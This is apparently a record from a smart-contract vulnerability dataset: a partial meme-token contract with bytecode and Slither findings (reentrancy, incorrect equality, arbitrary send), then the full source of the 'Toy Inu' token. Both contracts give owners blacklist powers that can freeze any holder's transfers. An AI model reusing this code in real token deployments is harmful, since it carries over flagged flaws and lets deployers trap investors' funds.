if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initNewPair(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function startTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_txnLimit = true;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function enableTxnLimit(bool onoff) external onlyOwner() {
_txnLimit = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 11);
_teamFee = fee;
}
function setMaxTxn(uint256 max) external onlyOwner(){
require(max>2);
_maxTxnAmount = max;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610469578063e6ec64ec146104af578063f2fde38b146104cf578063fc588c04146104ef57600080fd5b8063a9059cbb14610409578063b515566a14610429578063cf0848f71461044957600080fd5b806370a082311461036c578063715018a61461038c5780637c938bb4146103a15780638da5cb5b146103c157806390d49b9d146103e957806395d89b41146101a857600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102c5578063437823ec146102fe578063476343ee1461031e5780635342acb41461033357600080fd5b8063313ce5671461027157806331c2d847146102855780633a0f23b3146102a557600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101e757806318160ddd1461021757806323b872dd1461023c578063293230b81461025c57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661050f565b005b3480156101b457600080fd5b506040805180820182526007815266544f534849424160c81b602082015290516101de9190611925565b60405180910390f35b3480156101f357600080fd5b5061020761020236600461199f565b61055b565b60405190151581526020016101de565b34801561022357600080fd5b50678ac7230489e800005b6040519081526020016101de565b34801561024857600080fd5b506102076102573660046119cb565b610572565b34801561026857600080fd5b506101a66105db565b34801561027d57600080fd5b50600961022e565b34801561029157600080fd5b506101a66102a0366004611a22565b610641565b3480156102b157600080fd5b506101a66102c0366004611ae7565b6106d7565b3480156102d157600080fd5b506102076102e0366004611b09565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561030a57600080fd5b506101a6610319366004611b09565b610714565b34801561032a57600080fd5b506101a6610762565b34801561033f57600080fd5b5061020761034e366004611b09565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037857600080fd5b5061022e610387366004611b09565b61079c565b34801561039857600080fd5b506101a66107be565b3480156103ad57600080fd5b506101a66103bc366004611b09565b6107f4565b3480156103cd57600080fd5b506000546040516001600160a01b0390911681526020016101de565b3480156103f557600080fd5b506101a6610404366004611b09565b610a4f565b34801561041557600080fd5b5061020761042436600461199f565b610ac9565b34801561043557600080fd5b506101a6610444366004611a22565b610ad6565b34801561045557600080fd5b506101a6610464366004611b09565b610bef565b34801561047557600080fd5b5061022e610484366004611b26565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104bb57600080fd5b506101a66104ca366004611b5f565b610c3a565b3480156104db57600080fd5b506101a66104ea366004611b09565b610c76565b3480156104fb57600080fd5b506101a661050a366004611b5f565b610d0e565b6000546001600160a01b031633146105425760405162461bcd60e51b815260040161053990611b78565b60405180910390fd5b600061054d3061079c565b905061055881610d4a565b50565b6000610568338484610ec4565b5060015b92915050565b600061057f848484610fe8565b6105d184336105cc85604051806060016040528060288152602001611cf3602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061140e565b610ec4565b5060019392505050565b6000546001600160a01b031633146106055760405162461bcd60e51b815260040161053990611b78565b600d54600160a01b900460ff1661061b57600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b815260040161053990611b78565b60005b81518110156106d35760006005600084848151811061068f5761068f611bad565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106cb81611bd9565b91505061066e565b5050565b6000546001600160a01b031633146107015760405162461bcd60e51b815260040161053990611b78565b600f805460ff1916911515919091179055565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161053990611b78565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156106d3573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461056c90611448565b6000546001600160a01b031633146107e85760405162461bcd60e51b815260040161053990611b78565b6107f260006114cc565b565b6000546001600160a01b0316331461081e5760405162461bcd60e51b815260040161053990611b78565b600d54600160a01b900460ff16156108865760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610539565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109019190611bf4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561094e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109729190611bf4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e39190611bf4565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a795760405162461bcd60e51b815260040161053990611b78565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610568338484610fe8565b6000546001600160a01b03163314610b005760405162461bcd60e51b815260040161053990611b78565b60005b81518110156106d357600d5482516001600160a01b0390911690839083908110610b2f57610b2f611bad565b60200260200101516001600160a01b031614158015610b805750600c5482516001600160a01b0390911690839083908110610b6c57610b6c611bad565b60200260200101516001600160a01b031614155b15610bdd57600160056000848481518110610b9d57610b9d611bad565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610be781611bd9565b915050610b03565b6000546001600160a01b03163314610c195760405162461bcd60e51b815260040161053990611b78565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c645760405162461bcd60e51b815260040161053990611b78565b600b8110610c7157600080fd5b600855565b6000546001600160a01b03163314610ca05760405162461bcd60e51b815260040161053990611b78565b6001600160a01b038116610d055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610539565b610558816114cc565b6000546001600160a01b03163314610d385760405162461bcd60e51b815260040161053990611b78565b60028111610d4557600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d9257610d92611bad565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610deb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0f9190611bf4565b81600181518110610e2257610e22611bad565b6001600160a01b039283166020918202929092010152600c54610e489130911684610ec4565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e81908590600090869030904290600401611c11565b600060405180830381600087803b158015610e9b57600080fd5b505af1158015610eaf573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f265760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610539565b6001600160a01b038216610f875760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610539565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661104c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610539565b6001600160a01b0382166110ae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610539565b600081116111105760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610539565b6001600160a01b03831660009081526005602052604090205460ff16156111b85760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610539565b6001600160a01b03831660009081526004602052604081205460ff161580156111fa57506001600160a01b03831660009081526004602052604090205460ff16155b80156112105750600d54600160a81b900460ff16155b80156112405750600d546001600160a01b03858116911614806112405750600d546001600160a01b038481169116145b156113fc57600d54600160b81b900460ff1661129e5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610539565b50600d546001906001600160a01b0385811691161480156112cd5750600c546001600160a01b03848116911614155b80156112db5750600f5460ff165b1561132c5760006112eb8461079c565b9050611315606461130f600a54678ac7230489e8000061151c90919063ffffffff16565b9061159b565b61131f84836115dd565b111561132a57600080fd5b505b600e5442141561135a576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006113653061079c565b600d54909150600160b01b900460ff161580156113905750600d546001600160a01b03868116911614155b156113fa5780156113fa57600d546113c49060649061130f90600f906113be906001600160a01b031661079c565b9061151c565b8111156113f157600d546113ee9060649061130f90600f906113be906001600160a01b031661079c565b90505b6113fa81610d4a565b505b6114088484848461163c565b50505050565b600081848411156114325760405162461bcd60e51b81526004016105399190611925565b50600061143f8486611c82565b95945050505050565b60006006548211156114af5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610539565b60006114b961173f565b90506114c5838261159b565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261152b5750600061056c565b60006115378385611c99565b9050826115448583611cb8565b146114c55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610539565b60006114c583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611762565b6000806115ea8385611cda565b9050838110156114c55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610539565b808061164a5761164a611790565b600080600080611659876117ac565b6001600160a01b038d166000908152600160205260409020549397509195509350915061168690856117f3565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116b590846115dd565b6001600160a01b0389166000908152600160205260409020556116d781611835565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171c91815260200190565b60405180910390a3505050508061173857611738600954600855565b5050505050565b600080600061174c61187f565b909250905061175b828261159b565b9250505090565b600081836117835760405162461bcd60e51b81526004016105399190611925565b50600061143f8486611cb8565b60006008541161179f57600080fd5b6008805460095560009055565b6000806000806000806117c1876008546118bf565b9150915060006117cf61173f565b90506000806117df8a85856118ec565b909b909a5094985092965092945050505050565b60006114c583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140e565b600061183f61173f565b9050600061184d838361151c565b3060009081526001602052604090205490915061186a90826115dd565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061189a828261159b565b8210156118b657505060065492678ac7230489e8000092509050565b90939092509050565b600080806118d2606461130f878761151c565b905060006118e086836117f3565b96919550909350505050565b600080806118fa868561151c565b90506000611908868661151c565b9050600061191683836117f3565b92989297509195505050505050565b600060208083528351808285015260005b8181101561195257858101830151858201604001528201611936565b81811115611964576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055857600080fd5b803561199a8161197a565b919050565b600080604083850312156119b257600080fd5b82356119bd8161197a565b946020939093013593505050565b6000806000606084860312156119e057600080fd5b83356119eb8161197a565b925060208401356119fb8161197a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a3557600080fd5b823567ffffffffffffffff80821115611a4d57600080fd5b818501915085601f830112611a6157600080fd5b813581811115611a7357611a73611a0c565b8060051b604051601f19603f83011681018181108582111715611a9857611a98611a0c565b604052918252848201925083810185019188831115611ab657600080fd5b938501935b82851015611adb57611acc8561198f565b84529385019392850192611abb565b98975050505050505050565b600060208284031215611af957600080fd5b813580151581146114c557600080fd5b600060208284031215611b1b57600080fd5b81356114c58161197a565b60008060408385031215611b3957600080fd5b8235611b448161197a565b91506020830135611b548161197a565b809150509250929050565b600060208284031215611b7157600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bed57611bed611bc3565b5060010190565b600060208284031215611c0657600080fd5b81516114c58161197a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c615784516001600160a01b031683529383019391830191600101611c3c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c9457611c94611bc3565b500390565b6000816000190483118215151615611cb357611cb3611bc3565b500290565b600082611cd557634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611ced57611ced611bc3565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207fd6c6a1476a98a5f8c3b174a6f8be7682f5692402ca0cc970d2ffd574840a5664736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,162 |
0xabd92be41cb12cff047d1c6e87b3e9aee4e1e092
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
// Toy Inu (ToyInu)
//Limit Buy yes
//Cooldown yes
//Bot Protect yes
//Deflationary yes
//Fee yes
//Liqudity dev provides and lock
//TG: https://t.me/toyinuofficial
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ToyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Toy Inu";
string private constant _symbol = "ToyInu \xF0\x9F\x90\x95";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2400000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
